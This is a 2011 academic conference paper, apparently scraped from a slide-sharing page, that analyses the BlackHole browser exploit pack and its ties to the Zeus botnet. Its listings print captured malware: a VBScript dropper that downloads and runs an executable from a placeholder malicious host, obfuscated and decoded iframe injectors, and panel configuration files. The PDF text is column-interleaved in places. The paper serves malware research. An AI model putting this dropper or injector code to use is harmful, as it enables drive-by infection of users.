Virus bulletin 2011 Conference Paper - Browser Exploit Packs - Exploitation Tactics

BROWSER EXPLOIT PACKS – EXPLOITATION TACTICS SOOD & ENBODY

BROWSER EXPLOIT PACKS used to spread malware derived from static and dynamic
analysis of the BlackHole BEP.
– EXPLOITATION TACTICS
Aditya K Sood, Richard J. Enbody BROWSER DESIGN AGILITY
Department of Computer Science and Design agility in the browser architectural model refers to the
Engineering, Michigan State University, East robust design of the browser components. Of course, no design
Lansing, MI 48824-1226, USA is perfect, and every design has weaknesses that cannot be
removed completely. Such weaknesses can result in
Email {soodadit, enbody}@cse.msu.edu vulnerabilities. A browser design can be considered weak
based on the following criteria: first, a weakness exists if a
serious design flaw persists in the various components of the
ABSTRACT browser. Design error may lead to vulnerabilities that can
undermine the security as well as the robustness of the
Browser exploit packs have been increasingly used for browser. Second, a weakness exists if there is a possibility of
spreading malware. They use the browser as a medium to subverting the extensible nature of browser components. For
infect users. This paper analyses the BlackHole exploit pack, example, an open system design with customized code that is
and sheds light on the tactics used to distribute malware across allowed to run inline with the software. That would include an
the web. open set of APIs (Application Programming Interfaces) as well
as platform-independent code. It also covers the component
INTRODUCTION codes that can be reprogrammed and reused effectively. Third,
there may be security vulnerabilities in the browser
Malware infection is proliferating. In spite of new advanced
components that are most generic and stealthy.
protection features, it has become difficult to protect against
infections that happen through browsers. The rise of Browser
Exploit Packs (BEPs) [1] plays a significant role in the success METHODOLOGY
of malware infections. BEPs thrive by exploiting the browsers’ In order to analyse the BlackHole BEP, we collected raw
vulnerabilities, and attackers have demonstrated a lot of samples from a variety of sources. We used the Malware
maturity and expertise in developing their exploits. BEPs are Domain List [8] and Clean MX [9] to find a number of
usually used in conjunction with botnets and use domains that were hosting the BlackHole BEP. Figure 1 shows
drive-by-download attacks to load the malware binary onto the a sample list of the BlackHole BEP served by the Malware
victim’s machine. Browser exploit packs such as Fragus, Domain List. It took us close to three months to get the
Fiesta, Yes, Crimepack, Phoenix, Red Dice, MPack, SPack, appropriate samples by analysing the malicious domains that
and Bleeding Life have demonstrated this kind of nefarious serve bots and browser exploit packs together. During this
behaviour. This work is a result of extensive analysis of the process, we detected that live samples of the BlackHole BEP
BlackHole BEP [2, 3], one of the most widely used BEPs were password protected. We applied techniques such as brute
because of its use with the Zeus and SpyEye botnets. In this forcing and social engineering in order to gain full access to
paper, we emphasize the following aspects: the BEP. However, this process was not easy because it was
• Analysis of the BlackHole Browser Exploit Pack. hard to find the domains that were actually serving this
malware. Sometimes, we were not able to find the web pages
• Code auditing of the BlackHole BEP in order to derive
either because the BEP was removed or deleted. We
exploitation and malware spreading techniques.
continuously monitored domains that were hosting the
Our basic premise is that it is crucial to analyse the source BlackHole BEP to track the changes so that the samples
code in order to understand the intrinsic behaviour of the needed could be downloaded for analysis. Most of the
malware when it is running. In this paper, we dissect the analytical tests were conducted with virtual machines in order
source code to derive the exploitation methods used by the to maintain a controlled environment.
BlackHole BEP.
In this experiment, we analysed the exploit pack code and
audited it completely to understand the exploitation techniques
BACKGROUND AND RELATED WORK used by the BlackHole BEP. Figure 1 shows the list of infected
Niel [4] described the basic exploit-based mechanisms in use domains that show the presence of the BlackHole BEP.
in existing malware. Niel generalized web malware
considering the infections that are an outcome of third-party EXPERIMENT AND ANALYTICAL RESULTS
widgets, advertisers, user-contributed content and web server
vulnerabilities. Michael [5] has extended this work to show During analysis, we found that BlackHole BEP files were
how that malware is used to build botnets. In addition, a study scrambled and obfuscated. In general, the BlackHole BEP is
[6] has been conducted to show how the malware exploits the hosted in conjunction with other botnets and uses PHP as a
OS components for malicious purposes and to investigate its base to manage the framework. We present our analytical
repercussions. Further, some of the challenges in detecting results in the following sections.
botnets [7] during crawling mechanisms have been discussed
to analyse the impact of distributed botnets. BlackHole configuration
In our study, we add to that work by explicitly looking into The BlackHole BEP displays a sophisticated design that looks
BEPs to understand their design and the common tactics used like a complete malware framework. For example, BlackHole
to infect the victims. We will present exploitation techniques uses an AJAX-based environment to support different types of

VIRUS BULLETIN CONFERENCE OCTOBER 2011 1


Figure1: Malware Domain List – domains infected with the BlackHole BEP (registrant details obscured).

widgets. Basically, the design allows every widget to heap spraying techniques. Listing 1 shows the configuration
communicate with the target independently and allows file used by the BlackHole BEP. This file uses some
automatic updates. The widgets’ primary role is to keep track interesting metrics that control the working of the overall
of the information coming back from the infected machines. framework. For example, the ‘reuse_iframe’ parameter is
This information includes the browser types, operating defined for using the same iframe for serving exploits. By
systems and exploits that are vulnerable and have already default, each exploit in the BlackHole BEP is created in its
been exploited. BlackHole also supports custom widgets for own iframe. The ‘exploit_delay’ parameter is configured to
gathering statistical data. A global variable ‘time_interval’ is set an appropriate time delay in serving the exploits
defined to refresh the information according to that interval. consecutively. The ‘config_url’ parameter is defined for
The BlackHole BEP is hosted on an XAMPP Apache specifying the host address where the BlackHole panel is
distribution because it is lightweight and easy to use. hosted. The ‘payload_filename’ parameter uses a default
payload that is required to be included in every new exploit.
BlackHole is made of PHP, HTML and Jar files. PHP files are
The ‘enable_signed’ parameter is applied to control the
usually encrypted with an obfuscator. However, exploits are
signed Java applets which further require user interaction.
basically programmed as inline scripts with PHP pages. As
the PHP pages are accessed by a user, inline exploits are
rendered as HTML and DOM content to drop malicious Exploit obfuscation and encoding
executables by exploiting vulnerabilities in the browser The BlackHole BEP uses two different methods to obfuscate
components or plug-ins. These HTML files primarily consist its PHP code. First, it uses ionCube [10], a standard PHP
of exploitable browser code that generally uses JavaScript encoder, in order to encode all the PHP files as presented in
Listing 2. Table 1 shows the ionCube DLLs for different PHP
versions that are used in encoding the BlackHole BEP
[BlackHole Configuration File] framework. The ‘extension_loaded’ function loads the ionCube
<? $sqlSettings[‘dbHost’] = ‘localhost’; dynamic library based on the information collected by the
$sqlSettings[‘dbUsername’] = ‘root’; ‘php_uname’ and ‘phpversion’ functions. The ‘php_uname’
$sqlSettings[‘dbPassword’] = ‘xxxxx’; function is used to gather information about the operating
system on which PHP is running. The ‘phpversion’ function
$sqlSettings[‘dbName’] = ‘zain2’;
reveals information about running PHP that is installed on the
$sqlSettings[‘tableVisitorsList’] = ‘visitors_list’;
$panel_user = “zain”;
<?php if(!extension_loaded(‘ionCube Loader’)){$_
$panel_pass = “xxxxx”; _oc=strtolower(substr(php_uname(),0,3));$__ln=’/
$enable_signed = false; ioncube/ioncube_loader_’.$__oc.’_’.substr(phpve
rsion(),0,3).(($__oc==’win’)?’.dll’:’.so’);$__
$payload_filename = ‘payload.exe’; oid=$__id=realpath(ini_get(‘extension_dir’));$_
$config_url = ‘http://malicious.com/bl2’; _here=dirname(__FILE__);if(strlen($__id)>1&&$__
id[1]==’:’){$__id=str_replace(‘’,’/’,substr($_
$exploit_delay = 5000; $reuse_iframe = false; _id,2));$__here=str_replace(‘’,’/’,substr($__
$ajax_stats = true; here,2));}$__rd=str_repeat(‘/..’,substr_count($__
id,’/’)).$__here.’/’;
$ajax_delay = 5000; ?> .....?>

Listing 1: BlackHole BEP – configuration file. Listing 2: ionCube encoder in the BlackHole BEP.

2 VIRUS BULLETIN CONFERENCE OCTOBER 2011


Ioncube
server. ionCube first collects the PHP version information and in the Java Open Business Engine (OBE) and Java workflow
uses specific DLLs in order to encode the BlackHole BEP PHP engine [13]. Since Java is platform independent, this flaw can
files appropriately. With the use of the ionCube encoder, it be exploited easily on any type of browser. In general, a third
becomes really hard to analyse the BlackHole BEP. part vulnerability (such as a Java plug-in) results in a
compromise of all types of browsers running on different
SNo BlackHole BEP files operating systems. As a result of this, the infection rate is
quite high due to ease of exploiting these Java vulnerabilities
1 ioncube_loader_win_4.1.dll as presented in Figure 2.
2 ioncube_loader_win_4.2.dll
3 ioncube_loader_win_4.3.dll SNo Year Exploit – CVEs
4 ioncube_loader_win_4.4.dll 1 2010 CVE-2010-0188, CVE-2010-2884,
CVE-2010-0842, CVE-2010-3552,
5 ioncube_loader_win_5.0.dll
CVE-2010-1297, CVE-2010-0840,
6 ioncube_loader_win_5.1.dll CVE-2010-0806, CVE-2010-1885
Table 1: ionCube DLL version specific to PHP version. 2 2009 CVE-2009-0927, CVE-2009-4324
3 2008 CVE-2008-2992
Second, the BlackHole BEP also uses reverse encoding and
concatenation in generating remote objects in VBScript. A 4 2006 CVE-2006-0003
code snippet present in Listing 3 shows that the BlackHole
Table 2: Exploits served by the BlackHole BEP.
BEP applies extensive reverse calls in order to make the
analysis somewhat harder. The Java-OBE exploit discussed above is completely
In Listing 3, the ‘:a’ parameter holds the value of the remote undetectable by anti-virus engines and executes in a stealthy
address of the domain hosting the BlackHole BEP. The manner. In other ways, BlackHole uses a standard
StrReverse function is used to implement a normal trick in cryptographic function in conjunction with other
calling the code. When the code is rendered in the browser, cryptographic algorithms in order to make code analysis
‘tcejbOmetsySeliF.gnitpircS’ is treated as harder, as well as making it hard to detect by anti-virus
‘Scripting.FileSystemObject’ , ‘PTTHLMX.2LMXSM’ is engines and tools like Wepawet. The BlackHole exploit pack
treated as ‘MSXML2.XMLHTTP’ and ‘maertS.BDODA’ is also uses helper files that result in detection of the software
treated as ADOBA.Stream. We decode the VBScript to get version. The BlackHole BEP uses the ‘plugin_detect.js’ script
this code. However, unwrapping the encoding layers provides to fingerprint the available plug-ins in the victim browser.
better insight into the working of malicious VBScript code. Apart from this, we also find ‘JavaSignedApplet.jar’,
This script pushes the operating system to run wmplayer.exe ‘SiteAudioHelper.jar’ and ‘JavaOBE.jar’ which support the
and realplayer.exe by calling the ‘Script.Shell’ object. execution of Java exploits by collecting requisite information
from the victim browser. These helper files also provide the
Exploit distribution and infections default environment required for triggering vulnerabilities.
By performing continuous analysis and deobfuscation of
sample code, we found that the BlackHole BEP serves a Botnets collaboration
number of exploits for specific CVEs as presented in Table 2. Most BEPs work collectively with botnets to spread infections
After carefully analysing the exploit list, we find that these across the web. During our analysis, we found that the
exploits are the most reliable ones and their ratio of BlackHole BEP works effectively with the Zeus botnet, a
successful execution is high. Further, the most used exploits third-generation banking malware. In this particular sample,
in the BlackHole BEP are CVE-2010-0840 [11] and Zeus works collaboratively with BlackHole, which shows that
CVE-2010-0842 [12]. These vulnerabilities have been found the BEP plays a critical role in determining the success of

w=3000:x=200 :y=1 :z=false :a = “http://malicious.su/f0d/bl2.php?i=3”
:Set e = Createobject(StrReverse(“tcejbOmetsySeliF.gnitpircS”))
:b = e.GetSpecialFolder(2) & “exe.exe”:OT = “GET”
:Set c = CreateObject(StrReverse(“PTTHLMX.2LMXSM”))
:Set d = CreateObject(StrReverse(“maertS.BDODA”))
Set o=Createobject(StrReverse(“tcejbOmetsySeliF.gnitpircS”))
On Error resume next
c.open OT, a, z:c.send()
If c.Status = x Then u=c.ResponseBody:d.Open:d.Type = y:d.Write u:d.SaveToFile b:d.Close End If
CreateObject(StrReverse(“llehS.tpircSW”)).eXeC b
:CreateObject(StrReverse(“llehS.tpircSW”)).eXeC “taskkill /F /IM wmplayer.exe”
:CreateObject(StrReverse(“llehS.tpircSW”)).eXeC “taskkill /F /IM realplay.exe”
:Set g=o.GetFile(e.GetSpecialFolder(2) & “” & StrReverse(“sbv.l”))
:g.Delete:WScript.Sleep w :Set g=o.GetFile(b) :g.Delete

Listing 3: BlackHole BEP – reverse VBScript calls.



Figure 2: Java exploits – high infection rate.

$DBHOST = “localhost”;
$DBNAME = “Zeus”;
$DBUSER = “root”;
$DBPASS = “pass”;
$ADMINPW = “aaf4c61ddcc5e8a2dabede0f3b482cd9aea9434d”; //SHA-1 Hash from your password
$ACTIVATION_PASSWORD = “suckit”;
$BANTIME = 86400;
$SOUND = “Disabled”;
$COUNTRIES = array(“RU” => “ashrfwdogsfvxn.exe”, “DE” => “ashrfwdogsfvxn.exe”, “US” => “ashrfwdogsfvxn.exe”);

Listing 4: BlackHole BEP configured with Zeus database.

malware infection through botnets. The sampled domain was periodically in all BEPs in order to derive statistics. The
hosting the BlackHole and Zeus panel together. Listing 4 BlackHole BEP uses the same GeoIP library. A brief code
shows that the BlackHole BEP uses the Zeus database to snippet is presented in Listing 5 which shows how the BEP
trigger infections by retrieving specific details about the target. uses modular functions to fetch information related to
countries based on GeoIP location.
The BlackHole BEP also utilizes an anti-malware tracking
system. Since the BlackHole BEP is designed as a full
malware infection framework, it explicitly uses the concept of
blacklisting [14]. This technique is put in practice in order to
prevent malware tracking. The attacker usually feeds the
entries in the form of IP addresses which indicate unusual
behaviour. For example: if a security researcher is tracking a
malicious domain, it is possible that the web server (malware
domain) encounters consecutive requests for file downloads.
Configuring the blacklists with that domain IP address
prevents the BlackHole BEP from serving exploits because
the management system discards the HTTP request and no
positive response is sent back. ‘IP-Url-list.txt’ file is used in
BlackHole to blacklist domains, as shown in Figure 3.

Tracking infected systems
Further, most BEPs will use a GeoIP location library to keep
track of the infections occurring on a per country basis. It has
been shown that the MaxMind [15] free GNU library is used Figure 3: BlackHole BEP – blacklist implementation.



Figure 4: User agent string information disclosure.

simply serving malware to the same IP address many times used by the BEP in scrutinizing the IP addresses so that
without being detected or analysed. As a result, it was exploits can be served.
possible for malware analysts to download different versions
of exploits by sending consecutive requests to the server. The Dedicated spidering
analysts used the default design of the HTTP protocol to
In dedicated spidering the attacker designates a certain
capture different exploits from BEPs. Nowadays, malware
number of websites as targets which are crawled by
writers have adopted the process of serving malware only
automated spiders to accumulate information from the
once to each IP address. If the connection has been initiated
domain. The information needed by the malware writers
from the same IP address, the infection stops for a speciﬁc
depends on the capability of the custom-designed spider.
time period. It depends on the design of BEPs whether they
Spidering modules are used by browser exploit frameworks
serve malware to the same IP address in a particular time
for extensibility in extracting information from the target
frame. This design has reduced the detection process. The
servers and to keep track of the changes taking place. For
BEP uses the GeoLocation PHP library to keep track of IP
example: crawling through a number of websites to scrutinize
addresses based on the country of origin that has already
information about blacklisted websites. This process is known
been served with malware. Listing 7 shows the prototype
as dedicated spidering because the targets are pre-deﬁned and
crawling is directed at garnering information.
<?php session_start();
if (!session_is_registered(“locale”)) { Dynamic storage mutex and
//checkfor the session variable cookies
$db_con = mysql_connect(‘localhost’, ‘geo_user’, ‘geo_password’); BEPs implement the concept of worker threads
if ($db_con) { to access cookies from the websites or web
$ip_chk = sprintf(“%u”, ip2long($_SERVER[‘REMOTE_ADDR’])); applications loaded into the browsers. A worker
mysql_select_db(“geo_ip”, $con); thread acquires a mutex when it accesses a
cookie through a DOM call as ‘document.
$detect = “SELECT ‘’ FROM infected_ip WHERE $ip_chk=$inf_ip”;
cookie’. If a user remains at the page, the
If ( $ip_chk == $detect )
worker thread remains active until the time the
{ // Exploit is already served to this IP} thread quits. BEPs implement a mutex in order
else to keep track of unique visitors through cookies
{ //Serve Exploit to this IPAddress} and to further check the IP address of the
.................} ?> system. This approach uses cookies for
transactional purposes to dynamically update
Listing 7: IP detection and exploit serving. the records once the stats are cleaned from the



browser. The worker threads release the mutex because the system programs. One of the current choices is polymorphic
browser loader requires the mutex to update the HTTP shellcodes [18]. Basically, polymorphic shellcodes are
responses and to release them from the worker threads. In designed to bypass Network Intrusion Detection Systems
these cases timing works fine, where a mutex is created for a (NIDS) by circumventing the signature and pattern matching.
particular period of time and the worker thread exits after that. It is applied by malware writers to beat detection mechanisms
This process helps in removing duplicates from the BEP at the application level by using obfuscation and encoding
database, thereby serving unique content every time. Again, it schemes iteratively. Polymorphism provides multiple code
is an efficient way of handling data to reduce the load of execution paths so it appears to be random. In addition, if
filtering the victim’s information afterwards. encryption is used as a part of polymorphism, it must have
self-decrypting routines. Polymorphic shellcodes may also
contain operational padding and wild-card code generating
Dynamic iframe generators patterns for bypassing detection modules. A shellcode has to
Primarily, theattackers
With BEP, attackers
Browser exploit packs make extensive use of a dynamic
Primarily, attackers be unwrapped at the client side, once the exploit is triggered
iframe generator for serving iframes to the vulnerable to serve malware.
applications and infected websites on a large scale. Primarily,
In order to understand this tactic, our research has deduced a
the JavaScript obfuscation used by the browser exploit packs
generalized model of Unwrapped JavaScript Shellcode that
is quite strong. It uses a dual encryption to obfuscate the
explains the generic behaviour of shellcode functionality. The
iframes structurally so that anti-virus tools are not able to
model itself is instrumental in a number of exploits used by
detect them. A single iteration makes it hard to decipher the
the attackers to take control of the system. The work flow
website, and recently a number of iterations have been used to
model is presented in Figure 5.
better obfuscate JavaScript in the iframes. We performed
some iterative checks on the requisite code and on decoding. The shellcode first scans through the Process Execution Block
We came up with iframe code as presented in Listing 8. (PEB). The primary goal is to find kernel32.dll so that the
Listing 9 shows the decoded iframe. The iframe uses a script mapping of different modules is easier. The primary DLLs
that utilizes a PUSH instruction to define a stack that executes that are required are kernel32.dll, ntdll.dll and advapi.dll. The
an iframe when rendering in a browser. This shows how shellcode calls the exported functions from the dynamic link
effectively the BlackHole BEP uses dynamic iframes to libraries. The individual exported functions perform the
spread infections. operations as required. The model of Figure 5 explains the
mechanics of the shellcode unwrapping and the way malware
is dropped into the system. The exploitation works in the
Polymorphic shellcodes self unwrap
same manner and system infections start as soon as the
Malware writers are developing methods to bypass certain communication channel opens with the malware-infected
protection mechanisms used by the anti-virus solutions and domain. The programs can be rootkits that are hard to detect.

var ZqhC,CEplPLEDd,YhzRiENx,opHEBheR;YhzRiENx =
eval;ZqhC =””;CEplPLEDd = new Array();CEplPLEDd.
Blacklisting malware tracking domains
push(‘%d#@#@o@@@#%c@@#um#@’);CEplPLEDd. The BlackHole BEP uses blacklisting as one technique to
push(‘@@e#!nt.writ#@@@e#!(‘);CEplPLEDd.push(‘
’<i@#@#f@@#r%@a~@@#m’);CEplPLEDd.push(‘#@@@ prevent tracing of the malware domain by analysts or security
e#! sr@@@#%c@@#=’);CEplPLEDd.push(‘”http:/ researchers. In order to conduct analysis, anti-virus
/92.241.164.7’);CEplPLEDd.push(‘0/@#@%@ companies keep on sending the fuzzy HTTP requests so that
b@l/in%d#@#@#’);CEplPLEDd.push(‘@@@e#!x.
php” wi%d#@#’);CEplPLEDd.push(‘@th=”1”
BlackHole provides a response to them, thereby confirming
h#@@@e#!ight’);CEplPLEDd.push(‘=”0” the presence of malware. In response, BlackHole uses a
@#@#f@@#r%@a~@@’);CEplPLEDd.push(‘#m#@@@ built-in anti-tracing module. In general, this blacklisting
e#!@#@%@b@or%d’);CEplPLEDd.push(‘#@#@#@@@ works in both ways to secure the malware domain and is also
e#!r=”0”></i’);CEplPLEDd.push(‘@#@#f@@#r%@
a~@@#m#@@’);CEplPLEDd.push(‘@e#!>’);’);function used in security-driven websites to prevent access from the
QnXEQ(str) { return str.replace(/[!%#@~]/ malware domain. During the course of this analysis, we have
g,””); }for (var j=0;j<CEplPLEDd.length;j++) derived infection techniques that are used with BlackHole and
{ZqhC = QnXEQ(CEplPLEDd[j]);opHEBheR +=
ZqhC;}YhzRiENx(opHEBheR.substr(9));
similar BEPs.

Listing 8: Iframe used by the BlackHole BEP.
CONCLUSION AND FUTURE WORK
var ZqhC,CEplPLEDd,YhzRiENx,opHEBheR;YhzRiENx = We have audited the BlackHole BEP in order to track the
eval;ZqhC =””;CEplPLEDd = new Array();CEplPLEDd. malware infection techniques. A source code analysis
push(‘docum’);CEplPLEDd.push(‘ent. provides a better grasp of the malware in terms of execution.
write(‘);CEplPLEDd.push(‘’<ifram’);CEplPLEDd.
push(‘e src=’);CEplPLEDd.push(‘”http://mali-
From a general perspective, it is possible only to detect,
cious.com’);CEplPLEDd.push(‘0/bl/ind’);CEplPLEDd. manage and control the infection rate when one is equipped
push(‘ex.php” wid’);CEplPLEDd.push(‘th=”1” with the knowledge of the techniques used by these browser
height’);CEplPLEDd.push(‘=”0” fra’);CEplPLEDd. exploit packs. In this paper, we have discussed the BlackHole
push(‘mebord’);CEplPLEDd.push(‘er=”0”></
i’);CEplPLEDd.push(‘fram’);CEplPLEDd.push(‘e> BEP in detail in order to understand the working and
’);’);function QnXEQ(str) { return str.re- infection strategies that are used to deceive normal users.
place(/[]/g,””); }for (var j=0;j<CEplPLEDd. During the course of this analysis, we have concluded that
length;j++) {ZqhC = QnXEQ(CEplPLEDd[j]);opHEBheR
+= ZqhC;}YhzRiENx(opHEBheR.substr(9));
malware infection is a chain process because one type of
malware supports the other. For example, botnets use BEPs in
Listing 9: Decoded iframe script. order to conduct efficient drive-by-download attacks.



Figure 5: Shellcode functionality model.

Moreover, BEPs are designed in a sophisticated manner using [3] ZScaler Security Research. Blackhole Exploits kit
appropriate encoding mechanisms. Attack Growing. http://research.zscaler.com/2011/02/
blackhole-exploits-kit-attack-growing.html.
Malware is one of the biggest problems nowadays. It is
becoming really hard to restrict and conquer it. In spite of the [4] Provos, N.; McNamee, D.; Mavrommatis, P.; Wang,
efﬁcient protection technologies to restrain malware, it is K.; Modadugu, N. The Ghost in the Browser:
spreading its tentacles and becoming more advanced day by Analysis of Web-based Malware. Usenix Hotbots
day. BEPs are one of the robust and sophisticated mechanisms Workshop 2007.
used to spread infection by bringing together a lot of [5] Polychronakis, M.; Mavrommatis, P.; Wang, K.;
malware-speciﬁc techniques, thereby beating the protection Provos, N. Ghost Turns Zombie: Exploring the Life
shields. Analysis of BEPs and an understanding of their Cycle of Web-based Malware.Usenix LEET
features can help us develop our analysis patterns based on Workshop 2008.
which new protection mechanisms can be developed. We
believe that the World Wide Web will encounter more [6] Bayer, U.; Habibi, I.; Balzarotti, D.; Kirda, E.;
sophisticated versions of BEPs in the near future. This is Kruegel, C. A View on Current Malware Behaviors.
because botnets are impacting the online world at a rapid pace Usenix LEET Workshop 2009.
and BEPs are supporting them in their initial execution [7] Kanich, C.; Levchenko, K.; Enright, B.; Voelker, G.
phases. Our future work will be focused on detecting and M.; Savage, S. The Heisenbot Uncertainty Problem:
analysing other types of BEPs so that techniques can be Challenges in Separating Bots from Chaff. Usenix
enumerated directly from the malware analyses. We are in the LEET Workshop 2008.
process of collecting other BEP samples so that a relational
[8] Malware Domain List.
analysis can be performed in order to derive chronology for
http://www.malwaredomainlist.com/mdl.php.
various developments taking place in BEP history.
[9] Clean MX realtime database.
http://support.clean-mx.de/clean-mx/viruses.php.
REFERENCES
[10] PHP ionCube Encoder. http://www.ioncube.com/
[1] Symantec Security Report – Cyber Attack Toolkits. online_encoder.php.
http://www.symantec.com/about/news/release/
[11] ZeroDay Initiative (ZDI). Sun Java Runtime
article.jsp?prid=20110117_04.
Environment Trusted Methods Chaining Remote
[2] Krebs, B. Java – A Gift to Exploit Pack Makers. Code Execution Vulnerability.
http://krebsonsecurity.com/2010/10/java-a-gift-to- http://www.zerodayinitiative.com/advisories/ZDI-10-
exploit-pack-makers/. 056/.



[12] ZeroDay Initiative (ZDI). Sun Java Runtime
Environment MixerSequencer Invalid Array Index
Remote Code Execution Vulnerability.
http://www.zerodayinitiative.com/advisories/ZDI-10-
060/.
[13] Malware at Stake. Java OBE + BlackHole – Dead
Man Rising. http://secniche.blogspot.com/2011/02/
java-obe-tookit-exploits-blackhole-dead.html.
[14] Felegyhazi, M.; Kreibich, C. On the Potential of
Proactive Domain Blacklisting. Usenix LEET
Workshop 2010.
[15] MaxMind. http://www.maxmind.com/app/php.
[16] RFC 2616. http://www.w3.org/Protocols/rfc2616/
rfc2616.html.
[17] Park, B.; Hong, S.; Oh, J.; Lee, H. Defending against
Spying with Browser Helper Objects.
http://ccs.korea.ac.kr/papers/tech05_01.pdf.
(Technical Report) 2005.
[18] Polychronakis, M.; Anagnostakis, K.G.; Markatos,
E.P. An Empirical Study of Real-world Polymorphic
Code Injection Attacks. Usenix LEET Workshop
2009.


Virus bulletin 2011 Conference Paper - Browser Exploit Packs - Exploitation Tactics

More Related Content

Viewers also liked (20)

Similar to Virus bulletin 2011 Conference Paper - Browser Exploit Packs - Exploitation Tactics (20)

More from Aditya K Sood (20)

Recently uploaded (20)

Virus bulletin 2011 Conference Paper - Browser Exploit Packs - Exploitation Tactics